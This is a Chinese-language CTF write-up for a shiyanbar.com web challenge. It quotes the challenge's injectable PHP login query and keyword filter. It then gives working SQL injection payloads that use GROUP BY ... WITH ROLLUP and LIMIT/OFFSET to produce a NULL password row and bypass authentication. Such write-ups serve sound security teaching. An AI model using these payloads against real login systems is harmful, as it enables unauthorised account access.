就一道ctf题分析
http://ctf5.shiyanbar.com/web/pcat/index.php
打开一看是个登陆框,首先想到的是盲注,查看源代码,有个源文件,
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; if (mysql_num_rows($query) == 1) {
if($key['pwd'] == $_POST['pwd'])
这几处是关键,基本上过滤完了,不好注入,见有大佬用like 注入查询出了密码,
这题是让客户端的pwd和服务器端的pwd相等便得出flag,
sql中有一个with rollup是用来在分组统计数据的基础上再进行统计汇总,即用来得到group by的汇总信息;
没有with roll对的sql查询
mysql> select count(*),sage from age group by sage;
+----------+------+
| count(*) | sage |
+----------+------+
| 2 | 20 |
| 3 | 21 |
| 3 | 22 |
+----------+------+
3 rows in set (0.00 sec)
带with roll的查询
mysql> select count(*),sage from age group by sage with rollup;
+----------+------+
| count(*) | sage |
+----------+------+
| 2 | 20 |
| 3 | 21 |
| 3 | 22 |
| 8 | NULL |
+----------+------+
4 rows in set (0.00 sec)
因此这题利用with rollup使得空=null,这样可以绕过密码登陆
if (mysql_num_rows($query) == 1)这里就过不了
首先绕过这个用户名,
uname=ad' || 1 limit 1 #&pwd=
出了 亦可赛艇! 说明成功突破第一层防线
uname=admin' || 1 limit 1 offset 1 #&pwd=
同样 **亦可赛艇! **,这点很关键,说明里面不止一个用户,待会会用到这个。可以把offset(https://blog.csdn.net/yplee_8/article/details/52252549)的值改一下确认只有两个用户
接下来就是如何绕过pwd了,其实就是关键字 with rollup 他经常和group by搭配,用来统计。使用了with rollup数据会多一列,显示统计信息。
uname=ad' || 1 group by pwd with rollup limit 1 offset 2 #&pwd=
group by pwd 是按照pwd来分组,此处是为了搭配 with rollup使用
with rollup 统计pwd组的信息
- with rollup 统计pwd组的信息,这里没用任何统计函数(sum,avg...),多出的那一行的pwd列只能是NULL
多出的那一行的pwd列只能是NULL
NULL和空字符串是相等的。成功绕过